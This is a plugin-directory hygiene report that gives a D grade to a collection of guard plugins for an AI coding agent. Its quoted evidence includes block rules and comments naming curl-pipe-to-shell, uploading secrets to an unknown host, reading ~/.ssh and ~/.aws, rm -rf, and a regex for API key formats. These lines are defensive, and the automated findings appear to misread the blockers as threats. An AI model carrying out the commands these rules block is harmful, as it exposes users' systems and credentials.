Claude Code, Plugin
Chock Claude Plugins
Chock Claude Plugins, a plugin listed in the PlugVet directory.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
PERMISSION_SHELL_UNDECLARED INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL OBFUSCATION_MINIFIED_PAYLOAD
Why this grade
- PERMISSION_SHELL_UNDECLARED Medium
Runs shell commands that the manifest or description does not mention.
claude/block-curl-pipe-sh/scripts/block-curl-pipe-sh.sh, line 56
# PowerShell: `... | iex`, `iex(...)`, `Invoke-Expression(...)`. - INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
claude/block-curl-pipe-sh/scripts/block-curl-pipe-sh.sh, line 6
# The threat: `curl https://x | sh` (and its kin) runs code fetched from the network with no - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
agent-plugins/rtk-dangerous-actions-blocker/skills/rtk-dangerous-actions-blocker/SKILL.md, line 15
|~|..|abs), git_push(--force|+ref), read(.env|*.pem|*.key|id_rsa|~/.ssh|~/.aws), echo - OBFUSCATION_MINIFIED_PAYLOAD Medium
Contains a very long line with almost no spaces in a script or style file.
claude/guard-memory-writes/scripts/implementations/guard-memory-writes-gate.py, line 21
r"""(?i)((AKIA|ASIA)[0-9A-Z]{16}|gh[oprsu]_[0-9A-Za-z]{36}|github_pat_[0-9A-Za-z_]{22,}|xox[bpas]-[0-9A-Za-z-]{10,}|(sk|rk)_live_[0-9A-Za-z]{16,}|sk-proj-[0-9A-Za-z_-]{20,}|sk-ant-
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
requests shell access. No manifest field names shell or command execution.
PERMISSION_SHELL_UNDECLARED
claude/block-curl-pipe-sh/scripts/block-curl-pipe-sh.sh, line 56
# PowerShell: `... | iex`, `iex(...)`, `Invoke-Expression(...)`.
claude/block-invisible-unicode/scripts/gate.py, line 87
proc = subprocess.run( # noqa: S603 -- reading repo facts via git is this class's whole job
claude/block-invisible-unicode/scripts/gate.py, line 550
return subprocess.run( # noqa: S603 -- the script is the policy's own, named in its manifest
Show more
claude/block-invisible-unicode/scripts/gate.py, line 1041
out = subprocess.check_output( # noqa: S603 -- finding the repo root via git is this fallback's job
claude/block-test-skips/scripts/gate.py, line 87
proc = subprocess.run( # noqa: S603 -- reading repo facts via git is this class's whole job
claude/block-test-skips/scripts/gate.py, line 550
return subprocess.run( # noqa: S603 -- the script is the policy's own, named in its manifest
claude/block-test-skips/scripts/gate.py, line 1041
out = subprocess.check_output( # noqa: S603 -- finding the repo root via git is this fallback's job
claude/block-wildcard-agent-permissions/scripts/gate.py, line 87
proc = subprocess.run( # noqa: S603 -- reading repo facts via git is this class's whole job
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
claude/block-curl-pipe-sh/scripts/block-curl-pipe-sh.sh, line 6
# The threat: `curl https://x | sh` (and its kin) runs code fetched from the network with no
Network
Concern
can reach a host that is not written as a fixed address. can reach unknown. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
agent-plugins/block-curl-pipe-sh/skills/block-curl-pipe-sh/SKILL.md, line 15
block(remote_exec): fetch(curl|wget|iwr|irm) piped/substituted into interpreter(sh|bash|python|perl|node|iex)
agent-plugins/block-curl-pipe-sh/skills/block-curl-pipe-sh/SKILL.md, line 16
allow: download_to_file, fetch|non_interpreter(jq|tar); prefer: curl -o file; read; run
agent-plugins/block-unapproved-egress/skills/block-unapproved-egress/SKILL.md, line 15
block(egress): fetch(curl|wget|iwr) + upload(-d|--data|-F|--upload-file|-X POST|PUT) to host NOT in allowlist
Show more
claude/block-curl-pipe-sh/skills/block-curl-pipe-sh/SKILL.md, line 15
block(remote_exec): fetch(curl|wget|iwr|irm) piped/substituted into interpreter(sh|bash|python|perl|node|iex)
claude/block-curl-pipe-sh/skills/block-curl-pipe-sh/SKILL.md, line 16
allow: download_to_file, fetch|non_interpreter(jq|tar); prefer: curl -o file; read; run
claude/block-unapproved-egress/scripts/block-unapproved-egress.py, line 6
# A tool-time floor, not a network sandbox: it stops the obvious `curl -d @secrets https://unknown` reflex.
claude/block-unapproved-egress/scripts/block-unapproved-egress.py, line 40
# curl short options that take a value (the rest of the cluster, or the next argument): -sd @f is -s and -d @f.
claude/block-unapproved-egress/scripts/block-unapproved-egress.py, line 153
"""(refuse curl -K/--config outright, upload target host to check or '') for one network command."""
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
agent-plugins/code-safety/skills/code-safety/SKILL.md, line 15
see(scan-secrets): commit(secrets|keys|tokens|passwords|.env); see(verify-dependency-exists, opt_in): add(unlisted_dependency)
agent-plugins/rtk-dangerous-actions-blocker/skills/rtk-dangerous-actions-blocker/SKILL.md, line 15
|~|..|abs), git_push(--force|+ref), read(.env|*.pem|*.key|id_rsa|~/.ssh|~/.aws), echo
agent-plugins/scan-secrets/skills/scan-secrets/SKILL.md, line 15
on(commit|tool_use): block(content_regex) scan=added_lines forbidden_path_regex=(\.env(\.(?!(sample|example|template|dist|def... ...
Show more
claude/code-safety/skills/code-safety/SKILL.md, line 15
see(scan-secrets): commit(secrets|keys|tokens|passwords|.env); see(verify-dependency-exists, opt_in): add(unlisted_dependency)
.claude-plugin/marketplace.json, line 168
"description": "Carved out for rtk-ai/rtk#1007: rtk's own decision table as a chock policy (rtk's own hooks may not block). Refuses rm -rf on root, home, parent or absolute paths;
.github/plugin/marketplace.json, line 168
"description": "Carved out for rtk-ai/rtk#1007: rtk's own decision table as a chock policy (rtk's own hooks may not block). Refuses rm -rf on root, home, parent or absolute paths;
agent-plugins/rtk-dangerous-actions-blocker/plugin.json, line 5
"description": "Carved out for rtk-ai/rtk#1007: rtk's own decision table as a chock policy (rtk's own hooks may not block). Refuses rm -rf on root, home, parent or absolute paths;
agent-plugins/rtk-dangerous-actions-blocker/skills/rtk-dangerous-actions-blocker/SKILL.md, line 3
description: "Carved out for rtk-ai/rtk#1007: rtk's own decision table as a chock policy (rtk's own hooks may not block). Refuses rm -rf on root, home, parent or absolute paths; gi
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Concern
contains a minified payload.
OBFUSCATION_MINIFIED_PAYLOAD
claude/guard-memory-writes/scripts/implementations/guard-memory-writes-gate.py, line 21
r"""(?i)((AKIA|ASIA)[0-9A-Z]{16}|gh[oprsu]_[0-9A-Za-z]{36}|github_pat_[0-9A-Za-z_]{22,}|xox[bpas]-[0-9A-Za-z-]{10,}|(sk|rk)_live_[0-9A-Za-z]{16,}|sk-proj-[0-9A-Za-z_-]{20,}|sk-ant-
claude/limit-diff-size/skills/limit-diff-size/SKILL.md, line 1
---
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit c90de3b83f30. requests shell access. No manifest field names shell or command execution. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach unknown. The description does not name that host. reads a credential or environment file. contains a minified payload.
Date and source
Date checked:
github.com
Commit graded: c90de3b83f30c0fb63631a4c379dec51c5211b60
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